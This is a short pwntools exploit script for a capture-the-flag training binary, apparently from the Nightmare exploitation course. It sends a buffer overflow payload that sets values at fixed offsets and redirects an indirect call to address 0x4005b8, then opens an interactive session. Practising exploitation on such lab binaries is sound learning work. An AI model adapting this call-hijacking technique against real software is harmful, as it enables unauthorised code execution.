# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./chall-test_IndrCall-05-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x38)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.add_int32(0xc, 0xdeae)
bof_payload.add_int64(0x18, 0x4005b8)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: MIA                                      |
# +------------------------------------------------+
# | I know we won, but still may loose             |
# +------------------------------------------------+

